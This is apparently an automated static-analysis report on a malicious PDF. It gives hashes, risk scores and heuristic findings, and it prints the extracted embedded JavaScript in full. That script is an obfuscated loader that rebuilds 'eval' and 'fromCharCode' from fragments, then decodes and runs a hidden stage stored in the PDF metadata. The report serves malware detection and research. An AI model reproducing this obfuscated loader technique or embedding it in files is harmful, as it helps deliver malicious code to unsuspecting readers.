Malicious PDF — malware analysis report

Static analysis result for SHA-256 df78ab81b08558a7…

MALICIOUS

PDF

44.4 KB Authoring application: substr First seen: 2012-06-14
MD5: 9b34d1b281345c9851b9ab09035b65b6 SHA-1: ee6dc48f55994560296432da3268fec0dbf3d886 SHA-256: df78ab81b08558a7acb8b07b1fdcfd4beb0869b9528522df6c4eb0cb6e54f3b1
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely responsible for executing malicious code, potentially downloading a second-stage payload or performing other harmful actions. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF38 433 bytes
SHA-256: d104f4aa6687529bfe6e49ae1711bd4d080032923ccd67268f3d3b54f5186525
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
wnnt=e('ti'.concat(v[4],t));
q=wnnt[v](a.length-6,a.length+2);
xufs=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=wnnt[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	tyrba = 1*(q[i]) - (-1)*(q[++i]);
	s2 = s2.concat(xufs(tyrba));
	i++;
}
e(s2);

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